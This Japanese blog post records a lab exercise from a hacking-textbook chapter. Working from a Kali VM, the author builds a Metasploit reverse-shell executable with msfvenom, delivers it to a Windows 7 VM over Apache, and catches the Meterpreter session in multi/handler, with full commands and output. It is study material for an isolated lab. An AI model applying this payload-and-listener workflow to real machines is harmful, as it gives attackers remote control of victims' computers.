「ハッキング・ラボのつくりかた」2022 #015

IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」を実践した記録です。
ホストOSはWindows 11です。

第2部

第4章 Windowsのハッキング

4-1 Windows 7のハッキング

Metasploitによるハッキング方法とは

Metasploitは、ネットワークに接続されているコンピュータシステムに対し、実際に侵入を試みることでシステムに脆弱性がないかどうか検証するために使用されるツールです。

ここでは、次の流れでハッキングの実験を行います。

  1. Kali上で悪意のあるプログラムを作成する
  2. 上記1のプログラムをWindows 7にコピーする
  3. Kaliでリバースシェルを待ち受ける
  4. Windows 7サイドから1のプログラムを実行しKaliに接続する
  5. KaliからWindows 7を制御する

ここでは、KaliとWindows 7のIPアドレスは以下の通りとします。

Kali192.168.56.106
Windows 7192.168.56.107
Windows 7を操る「あやしい」プログラムをKaliで作成しよう

Kali上のTerminalから以下のコマンドを実行します。

msfconsole

アスキーアートやメッセージが表示された後、以下のプロンプトが表示されます。

msf6 > 

次に、searchコマンドで「ペイロード」かつ「TCP対応リバースシェル」かつ「Windows対応」のモジュールを検索します。ここでペイロードとは、実行すると悪意のある動作をするプログラムのことです。

msf6 > search type:payload reverse_tcp platform:windows

今回の検索結果では73行出力されました。ここでは、45行目の以下のモジュールを使用します。

45  payload/windows/meterpreter/reverse_tcp    normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager

上記検索結果の、”payload/windows/meterpreter/reverse_tcp”の部分が「パス」と呼ばれ、ペイロードを作成するときに使用されます。

次に下記を実行してペイロードを作成します。

msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.106 -f exe -o $HOME/evil.exe

ここで、オプションの意味は以下の通りです。

-psearchコマンドで検索したペイロードを作成するためのパス
LHOST=ペイロードからの接続先(ここではKaliのIPアドレスを指定)
-f出力する実行ファイルの形式
-oペイロードの保存先(ここではKaliのホームディレクトリを指定)とファイル名(evil.exe)
ペイロードをKaliからWindowsにコピーするには

KaliのTerminalから次のコマンドを実行します。
“#”から始まる文字列はコメントです。実行する必要はありません。

sudo -s     #スーパーユーザに移行する                                                                                     
# /var/www/html/shareにevil.exeをコピーする
cd /var/www/html  
mkdir share
cp ~kali/evil.exe share
chmod -R 755 share     
# Apacheを起動してWindow 7からevil.exeをコピーできるようにする
systemctl start apache2
systemctl status apache2    # Apacheが正常に起動されたか確認

Windows 7のIE(ブラウザ)から”http://192.168.56.106/share/”にアクセスします。
下のように、Kali上の”evil.exe”が参照できました。
クリックしてダウンロードします。

ここでは、”Desktop”に保存します。

これでペイロード”evil.exe”がWindows 7のデスクトップに保存されました。

Windows 7からの接続を待ち受けるには

KaliのTerminalからmsfconsoleを起動した状態で、以下のコマンドを実行します。ここからは、コマンド実行時の出力結果もともに示します。下では[*]…以降が出力結果です。

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

続いて下のように、プロンプト(”msf6 exploit(multi/handler) > “)が表示されるので、setサブコマンドで以下を実行します。

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

次もsetコマンドで、”LHOST”にKaliのIPアドレスを設定します。

msf6 exploit(multi/handler) > set LHOST 192.168.56.106
LHOST => 192.168.56.106

次にオプションの設定をshowサブコマンドで確認します。

msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.106   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) >

上の実行結果に、”LPORT 4444 yes The listen port”という行があることから、ポート4444で待ち受けることが分かります。

exploitコマンドを実行します。
これでプロンプトが表示されない「待ち受け」状態になりました。

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.56.106:4444 
KaliからWindows 7の操作を行う

ここからは、KaliとWindows 7それぞれの仮想環境を表示したウインドウを、並べて操作できるようにしておくと分かりやすいと思います。
まず、Windows 7の仮想マシンに移ります。
デスクトップにある”evil.exe”のアイコンをダブルクリックして起動します。

以下の画面が表示されたら、[Run]ボタンをクリックします。

ふたたび、Kaliで”exploit”を実行中の待ち受け状態にあるTerminalを確認します。以下のようにメッセージとプロンプトが表示されていたら、KaliからWindows 7の操作が可能になっています。

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.56.106:4444 
[*] Sending stage (175174 bytes) to 192.168.56.107
[*] Meterpreter session 11 opened (192.168.56.106:4444 -> 192.168.56.107:49167 ) at 2022-04-30 21:12:14 +0900

meterpreter > 

Windows 7からKaliとのセッションが確立されていることを、netstatコマンドで確認してみましょう。
コマンドプロンプトから下のように入力します。

C:\Users\IEUser>netstat -n | find "ESTABLISHED"
  TCP    192.168.56.107:49167   192.168.56.106:4444    ESTABLISHED

上記実行結果では、netstatでネットワークの接続状態を出力しています。それをfindコマンドで読み込み、”ESTABLISHED”の文字列を含む行だけを抽出して表示しています。
結果、Windows 7端末(IPアドレス:192.168.56.107)のポート49167から、Kali端末(IPアドレス:192.168.56.106)のポート4444に対して接続が確立されている(ESTABLISHED)ことが確認できました。

Kaliのmeterpreterのプロンプトから以下のようにpwdコマンドやlsコマンドを実行できます。

meterpreter > pwd
C:\Users\IEUser\Desktop
meterpreter > ls
Listing: C:\Users\IEUser\Desktop
================================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
100666/rw-rw-rw-  4142172   fil   2022-03-27 19:10:28 +0900  IE8WIN7_20220327.arn
040777/rwxrwxrwx  49152     dir   2022-03-27 18:45:23 +0900  SysinternalsSuite
100666/rw-rw-rw-  47840922  fil   2022-03-27 18:28:02 +0900  SysinternalsSuite.zip
100666/rw-rw-rw-  282       fil   2022-03-25 18:45:09 +0900  desktop.ini
100666/rw-rw-rw-  826       fil   2015-09-21 18:19:49 +0900  eula.lnk
100777/rwxrwxrwx  73802     fil   2022-04-24 22:48:21 +0900  evil.exe
100666/rw-rw-rw-  102979    fil   2022-04-04 15:33:54 +0900  nc111nt.zip

KaliのTerminal上で、Windows 7の「C:\Users\IEUser\Desktop」フォルダの情報が表示されました。
下は、Windows 7のDesktopをエクスプローラで表示したものです。

実際のハッキングでは、ペイロード(ここではevil.exe)がターゲットマシンのバックドアとなり、ターゲット端末上で起動されるよう仕掛けられます。攻撃端末ではそれを待ち受け、リモートから操作を可能とするわけです。

さいごに

今回はMetasploitを使い、リバースシェルによって遠隔操作ができるところまでを紹介しました。
次回は、Metasploitを使用したハッキングの続きを紹介します。